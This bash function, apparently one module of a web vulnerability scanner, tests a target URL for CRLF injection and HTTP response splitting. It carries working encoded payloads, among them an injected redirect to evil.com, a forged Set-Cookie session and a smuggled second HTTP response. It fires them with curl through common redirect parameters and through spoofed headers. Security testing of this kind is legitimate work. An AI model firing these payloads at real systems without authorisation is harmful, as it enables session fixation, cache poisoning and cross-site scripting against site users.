#!/usr/bin/env bash # Vector 30: CRLF Injection — HTTP Response Splitting # Desc: Detects CRLF injection in headers, params, and redirects # Severity: CRITICAL # Proof: Injects %0d%0a to create a second response (XSS vector) vector_crlf_injection() { local target="$1" local report="$2" local domain=$(get_domain "$target") local findings=0 print_info "Hunting CRLF Injection (Response Splitting)..." local base=$(get_base "$target") local urls=$(get_discovered_urls "$domain" 2>/dev/null | grep '?' | head -15) [ -z "$urls" ] && urls="${target}?test=1" # CRLF injection payloads local crlf_payloads=( "%0d%0aX-CRLF-Test:injected" "%0d%0aX-CRLF-Test:%20injected" "%0d%0a%0d%0a" "%0aX-CRLF-Test:injected" "%0d%0aLocation:%20https://evil.com" "%0d%0aSet-Cookie:%20session=attacker" "%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0a%0d%0ainjected" "%23%0d%0aX-CRLF-Test:injected" "%3f%0d%0aX-CRLF-Test:injected" "%2f%0d%0aX-CRLF-Test:injected" ) # Params to inject CRLF into local crlf_params=( "redirect" "url" "uri" "link" "next" "goto" "return" "return_url" "return_to" "page" "path" "file" "dest" "redirect_uri" "redirect_url" "callback" "referer" "logout" "login" "signout" "error" "message" "msg" ) # Also inject in headers local header_injections=( "X-Forwarded-Host: evil.com%0d%0aX-CRLF-Test:injected" "Referer: https://evil.com%0d%0aX-CRLF-Test:injected" ) for url in $urls; do local base_url=$(echo "$url" | cut -d'?' -f1) local existing_params=$(echo "$url" | cut -d'?' -f2-) # Test URL params with CRLF payloads for param in "${crlf_params[@]}"; do for payload in "${crlf_payloads[@]}"; do local test_url="${base_url}?${param}=${payload}&${existing_params}" local response=$(curl -s --connect-timeout 5 --max-time 8 -i "$test_url" 2>/dev/null) # Check if CRLF injection worked (header reflection) if echo "$response" | grep -qi "X-CRLF-Test:\|X-CRLF-Test"; then print_find "CRLF Injection Confirmed!" "${param}=${payload}" echo "SEVERITY: CRITICAL VECTOR: CRLF Injection (Response Splitting) DETAIL: Injected HTTP headers via CRLF in ${param} URL: $test_url EVIDENCE: Custom header 'X-CRLF-Test' reflected in response EXPLOIT: HTTP response splitting, cache poisoning, XSS, email injection" > "$REPORTS_DIR/.finding_crlf_$(date +%s).txt" findings=$((findings + 1)) break 3 fi # Check for response splitting (two HTTP responses) local split_count=$(echo "$response" | grep -c "HTTP/1.[01]") if [ "$split_count" -gt 1 ]; then print_find "HTTP Response Splitting!" "Two HTTP responses in one request" echo "SEVERITY: CRITICAL VECTOR: HTTP Response Splitting DETAIL: CRLF injection caused two HTTP responses URL: $test_url" > "$REPORTS_DIR/.finding_rsplit_$(date +%s).txt" findings=$((findings + 1)) break 3 fi done done # Test header injection for hdr in "${header_injections[@]}"; do local response=$(curl -s --connect-timeout 5 --max-time 8 -i \ -H "$hdr" \ "$url" 2>/dev/null) if echo "$response" | grep -qi "X-CRLF-Test:"; then print_find "CRLF Injection via Header!" "$hdr" findings=$((findings + 1)) break 2 fi done done if [ "$findings" -eq 0 ]; then print_info "No CRLF injection found" fi return $findings }